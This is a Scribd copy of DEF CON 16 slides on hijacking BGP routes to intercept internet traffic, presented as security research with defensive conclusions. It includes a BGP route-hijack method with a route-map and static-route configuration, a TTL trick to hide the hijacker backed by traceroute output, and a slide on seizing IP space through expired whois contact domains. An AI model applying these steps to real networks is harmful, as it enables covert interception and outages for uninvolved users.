0% found this document useful (0 votes)
62 views31 pages

Defcon 16, Pilosov Kapela, "Stealing The Internet"

The document discusses how an attacker could intercept internet traffic by hijacking BGP routes to perform a man-in-the-middle attack. It explains how BGP works and how routes can be announced. The presentation then demonstrates a method for hijacking routes to intercept traffic while remaining anonymous.

Uploaded by

mrpisto
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
62 views31 pages

Defcon 16, Pilosov Kapela, "Stealing The Internet"

The document discusses how an attacker could intercept internet traffic by hijacking BGP routes to perform a man-in-the-middle attack. It explains how BGP works and how routes can be announced. The presentation then demonstrates a method for hijacking routes to intercept traffic while remaining anonymous.

Uploaded by

mrpisto
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 31

Stealing The Internet

An Internet-Scale Man In The Middle Attack


Defcon 16, Las Vegas, NV - August 10th, 2008 Alex Pilosov Pure Science
Chairman of IP Hijacking BOF ex-moderator of NANOG mailing list [email protected]

Tony Kapela Public Speaking Skills


CIO of IP Hijacking BOF [email protected]

Why Should You Care?


Because your inbound traffic can be passively intercepted Because your outbound traffic to specific destinations can also be intercepted Because your data can be stored, dropped, filtered, mutilated, spindled, or modified Because this cannot be solved without provider cooperation Because its unlikely to be noticed, unless youre looking for it

Agenda
BGP & Internet 101 Old Hijackings The main monkey business
MITM method, explained Graphs, etc Live Demo

BGP 101
How is the Internet glued together?
No central core Individual networks (identified by ASN) interconnect and announce IP space to each other Announcement contains IP prefix, AS-PATH, communities, other attributes AS-PATH is a list of who has passed the announcement along; used to avoid loops (important for our method) Fundamental tenet in IP routing: More-specific prefixes will win e.g. 10.0.0.0/24 wins over 10.0.0.0/8

..if we had to whiteboard it

graphic courtesy jungar.net

Network Relationship Norms


Peer: No money changes hands, routes are not redistributed to transits and other peers 1:1 relationship Customer: Pays transit provider to accept their announcement, sends routes to peers and transits

On Prefixes
Internet routing is inherently trust-based
No chain of trust in IP assignments

ICANN assigns space to Regional Internet Registries (RIRs - ARIN/RIPE/AFRINIC) RIRs assign to ISPs or LIRs (in RIPE region) No association between ASN and IP for most assignments (except RIPE)

State The problem


Various levels of sophistication in Route/Prefix Filtering

Customer:
Often unfiltered BGP: max-prefix and sometimes ASPATH Smaller carriers and smaller customers static prefix-list, emails or phone calls to update
Verification by whois

Larger carriers: IRR-sourced inter-AS filters

Peer:
Typically none beyond max-prefix and scripts to complain when announcing something they shouldnt (rare) Many dont even filter their own internal network routes coming from external peers

The IRR (Internet Routing Registry)


A Modest Proposal Way for ISPs to register their routes and routing policy Distributed servers that mirror each other Filtering based on IRR will prevent some accidental hijackings Caveats
Your routers might not scale as well when crunching 100k entry prefix-lists per-peer, for all peers Full of cruft - no janitors Insecure - anyone can register (nearly) any route

An IRR Update
Which Should Have Been Questioned
From: [email protected] To: [email protected] ReplyTo: [email protected] Subject: Forwarded mail.... (fwd) Sent: Aug 7, 2008 9:48 PM Your transaction has been processed by the IRRd routing registry system. Diagnostic output: ----------------------------------------------------------The submission contained the following mail headers: From: [email protected] Subject: Forwarded mail.... (fwd) Date: Thu, 7 Aug 2008 21:48:53 -0400 (EDT) Msg-Id: <[email protected]>

ADD OK: [route] 24.120.56.0/24 AS26627 ---------------------------------------If you have any questions about ALTDB, please send mail to [email protected].

Traditional Hijacking Uses


Non-Malicious use: was popular in 2001, faster than getting IPs legitimately from ARIN Fly-by spammers: Announce space, spam, withdraw, avoid abuse complaints Malicious DoS or outage - silence your competitors Target impersonation - could hijack 128.121.146.0/24 (twitter) and put up something else

Criminality
If nobody is using it, is it really illegal? IP prefix is just a number No prosecutions for non-malicious announcements that we are aware of Worst case scenario for non-malicious hijack: ARIN/RIPE pull PTR records and transits shut you off (eventually)

How-To Hijack
Full hijacking, apparent authority to announce
This was cool in 2001 Find IP Network (using whois) with contact email address in @hotmail.com or at domain that has expired Register domain/email Change contact

Or just announce the network since nobody is filtering anyway


Upstream providers too busy & big to care Youre paying them to accept routes, so they do

Historical Hijackings
AS7007 97, accidental bgp->rip->bgp redistribution broke Internet (tens of thousands of new announcements filled router memory, etc) 146.20/16 Erie Forge and Steel (how apropos) 166.188/16 Carabineros De Chile (Chile Police) hijacked twice, by registered Carabineros De Chile LLC, Nevada Corporation More details available on completewhois.com Accidental hijackings happen frequently low chance of getting caught

02/08 Youtube Hijack Saga


YouTube announces 5 prefixes:
A /19, /20, /22, and two /24s The /22 is 208.65.152.0/22

Pakistans government decides to block YouTube Pakistan Telecom internally nails up a more specific route (208.65.153.0/24) out of YouTubes /22 to null0 (the routers discard interface) Somehow redists from static bgp, then to PCCW Upstream provider sends routes to everyone else Most of the net now goes to Pakistan for YouTube, gets nothing! YouTube responds by announcing both the /24 and two more specific /25s, with partial success PCCW turns off Pakistan Telecom peering two hours later 3 to 5 minutes afterward, global bgp table is clean again

Pakistan Govt. Notice

Of Interest
IP Hijacking BoF

Un-official event at NANOG conference We test security of Internet routing infrastructure Recent exercises:
Hijacked 1.0.0.0/8: 90% success Hijacked 146.20.0.0/16: 95% success Attempted to announce networks longer than / 24: from /25 down to /32 with cooperation of large CDNs. 40% successful overall

Routing Security Is Complicated


No answer yet, due to lack of chain of trust from ICANN on down Weakest link problem: Until everyone filters everyone perfectly, this door is still open Best practice today is Alerting systems that look for rogue announcements (PHAS, RIPE MyASN, Renesys, etc) Register your AS and your prefix in RIR (no immediate effect, but eventually someone will use them) No anonymity if you hijack, everyone knows its you (due to AS-PATH) If things still work, who complains?

How To Resolve A Hijacking


Once rogue announcement is identified, work begins. Contact the upstreams and scream.
May take minutes, hours (if you are Youtube-sized), or possibly days

About as easy as getting DDoS stopped (or not)

What This Means


Rootkits + 0day rogue announcements Man-in-middle attacks, with our clues applied
No need for three-way-handshake when youre in-line Nearly invisible exploitation potential, globally

Endpoint enumeration - direct discovery of who and what your network talks to Can be accomplished globally, any-to-any How would you know if this isnt happening right now to your traffic at DEFCON?

BGP MITM Hijack Concept


We originate the route like we always did
Win through usual means (prefix length, shorter aspath w/ several origin points, etc)
Win is some definition of most of the internet chooses your route

We return the packets somehow


Coordinating delivery was non-trivial Vpn/tunnel involve untenable coordination at target

Then it clicked use the Internet itself as reply path, but how?

BGP MITM Setup


1. Traceroute & plan reply path to target 2. Note the ASNs seen towards target from traceroute & bgp table on your router 3. Apply as-path prepends naming each of the ASNs intended for reply path 4. Nail up static routes towards the nexthop of the first AS in reply path 5. Done

BGP MITM First Observe


View of Forwarding ASN 200 originates Information Base (FIB) for 10.10.220.0/22, sends Internet is converged 10.10.220.0/22 after announcements to AS20 towards valid route converging and AS30 Random User ASN 100 AS10 AS40 AS20 AS60

AS30

Target ASN 200

AS50

BGP MITM Plan reply path


We then build our as-path prepend ASN 100s FIB shows route for list to include AS 10, 20, and 200 10.10.200.0/22 via AS10 Attacker ASN 100 AS10 AS40 AS20 AS60

AS30

Target ASN 200

AS50

BGP MITM Setup Routes


10.10.220.0/24 is announced with a route-map: Then, install static route in AS100 for 10.10.220.0/24 to permit AS10s10 link route-map hijacked
match ip address prefix-list jacked 4.3.2.1 ip route 10.10.220.0 255.255.255.0 set as-path prepend 10 20 200

Attacker ASN 100

AS10 AS40 AS20 AS60

AS30

Target ASN 200

AS50

Anonymzing The Hijacker


We adjust TTL of packets in transit Effectively hides the IP devices handling the hijacked inbound traffic (ttl additive) Also hides the outbound networks towards the target (ttl additive) Result: presence of the hijacker isnt revealed

Without TTL adjustment


2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 12.87.94.9 [AS 7018] 4 msec 4 msec 8 msec tbr1.cgcil.ip.att.net (12.122.99.38) [AS 7018] 4 msec 8 msec 4 msec ggr2.cgcil.ip.att.net (12.123.6.29) [AS 7018] 8 msec 4 msec 8 msec 192.205.35.42 [AS 7018] 4 msec 8 msec 4 msec cr2-loopback.chd.savvis.net (208.172.2.71) [AS 3561] 24 msec 16 msec 28 msec cr2-pos-0-0-5-0.NewYork.savvis.net (204.70.192.110) [AS 3561] 28 msec 28 msec 28 msec 204.70.196.70 [AS 3561] 28 msec 32 msec 32 msec 208.175.194.10 [AS 3561] 28 msec 32 msec 32 msec colo-69-31-40-107.pilosoft.com (69.31.40.107) [AS 26627] 32 msec 28 msec 28 msec tge2-3-103.ar1.nyc3.us.nlayer.net (69.31.95.97) [AS 4436] 32 msec 32 msec 32 msec * * * (missing from trace, 198.32.160.134 exchange point) tge1-2.fr4.ord.llnw.net (69.28.171.193) [AS 22822] 32 msec 32 msec 40 msec ve6.fr3.ord.llnw.net (69.28.172.41) [AS 22822] 36 msec 32 msec 40 msec tge1-3.fr4.sjc.llnw.net (69.28.171.66) [AS 22822] 84 msec 84 msec 84 msec ve5.fr3.sjc.llnw.net (69.28.171.209) [AS 22822] 96 msec 96 msec 80 msec tge1-1.fr4.lax.llnw.net (69.28.171.117) [AS 22822] 88 msec 92 msec 92 msec tge2-4.fr3.las.llnw.net (69.28.172.85) [AS 22822] 96 msec 96 msec 100 msec switch.ge3-1.fr3.las.llnw.net (208.111.176.2) [AS 22822] 84 msec 88 msec 88 msec gig5-1.esw03.las.switchcommgroup.com (66.209.64.186) [AS 23005] 84 msec 88 msec 88 msec 66.209.64.85 [AS 23005] 88 msec 88 msec 88 msec gig0-2.esw07.las.switchcommgroup.com (66.209.64.178) [AS 23005] 88 msec 88 msec 88 msec acs-wireless.demarc.switchcommgroup.com (66.209.64.70) [AS 23005] 88 msec 84 msec 84 msec

With TTL Adjustments

2 3 4 5 6 7 8 9 10 11 12 13

12.87.94.9 [AS 7018] 8 msec 8 msec 4 msec tbr1.cgcil.ip.att.net (12.122.99.38) [AS 7018] 4 msec 8 msec 8 msec ggr2.cgcil.ip.att.net (12.123.6.29) [AS 7018] 4 msec 8 msec 4 msec 192.205.35.42 [AS 7018] 8 msec 4 msec 8 msec cr2-loopback.chd.savvis.net (208.172.2.71) [AS 3561] 16 msec 12 msec * cr2-pos-0-0-5-0.NewYork.savvis.net (204.70.192.110) [AS 3561] 28 msec 32 msec 32 msec 204.70.196.70 [AS 3561] 28 msec 32 msec 32 msec 208.175.194.10 [AS 3561] 32 msec 32 msec 32 msec gig5-1.esw03.las.switchcommgroup.com (66.209.64.186) [AS 23005] 88 msec 88 msec 84 msec 66.209.64.85 [AS 23005] 88 msec 88 msec 88 msec gig0-2.esw07.las.switchcommgroup.com (66.209.64.178) [AS 23005] 84 msec 84 msec 88 msec acs-wireless.demarc.switchcommgroup.com (66.209.64.70) [AS 23005] 88 msec 88 msec 88 msec

Compare Original BGP & Route Path


Original:
2 3 4 5 6 7 8 9 10 11 12 13 14 12.87.94.9 [AS 7018] 8 msec 8 msec 4 msec tbr1.cgcil.ip.att.net (12.122.99.38) [AS 7018] 8 msec 8 msec 8 msec 12.122.99.17 [AS 7018] 8 msec 4 msec 8 msec 12.86.156.10 [AS 7018] 12 msec 8 msec 4 msec tge1-3.fr4.sjc.llnw.net (69.28.171.66) [AS 22822] 68 msec 56 msec 68 msec ve5.fr3.sjc.llnw.net (69.28.171.209) [AS 22822] 56 msec 68 msec 56 msec tge1-1.fr4.lax.llnw.net (69.28.171.117) [AS 22822] 64 msec 64 msec 72 msec tge2-4.fr3.las.llnw.net (69.28.172.85) [AS 22822] 68 msec 72 msec 72 msec switch.ge3-1.fr3.las.llnw.net (208.111.176.2) [AS 22822] 60 msec 60 msec 60 msec gig5-1.esw03.las.switchcommgroup.com (66.209.64.186) [AS 23005] 60 msec 60 msec 60 msec 66.209.64.85 [AS 23005] 64 msec 60 msec 60 msec gig0-2.esw07.las.switchcommgroup.com (66.209.64.178) [AS 23005] 60 msec 64 msec 60 msec acs-wireless.demarc.switchcommgroup.com (66.209.64.70) [AS 23005] 60 msec 60 msec 60 msec

Hijacked:
2 3 4 5 6 7 8 9 10 11 12 13 12.87.94.9 [AS 7018] 8 msec 8 msec 4 msec tbr1.cgcil.ip.att.net (12.122.99.38) [AS 7018] 4 msec 8 msec 8 msec ggr2.cgcil.ip.att.net (12.123.6.29) [AS 7018] 4 msec 8 msec 4 msec 192.205.35.42 [AS 7018] 8 msec 4 msec 8 msec cr2-loopback.chd.savvis.net (208.172.2.71) [AS 3561] 16 msec 12 msec * cr2-pos-0-0-5-0.NewYork.savvis.net (204.70.192.110) [AS 3561] 28 msec 32 msec 32 msec 204.70.196.70 [AS 3561] 28 msec 32 msec 32 msec 208.175.194.10 [AS 3561] 32 msec 32 msec 32 msec gig5-1.esw03.las.switchcommgroup.com (66.209.64.186) [AS 23005] 88 msec 88 msec 84 msec 66.209.64.85 [AS 23005] 88 msec 88 msec 88 msec gig0-2.esw07.las.switchcommgroup.com (66.209.64.178) [AS 23005] 84 msec 84 msec 88 msec acs-wireless.demarc.switchcommgroup.com (66.209.64.70) [AS 23005] 88 msec 88 msec 88 msec

In conclusion
We learned that any arbitrary prefix can be hijacked, without breaking end-to-end We saw it can happen nearly invisibly We noted the BGP as-path does reveal the attacker Shields up; filter your customers.

Thanks & Praise


Felix "FX" Lindner Jay Beale Dan Kaminsky Defcon Speaker Goons & Staff Todd Underwood

You might also like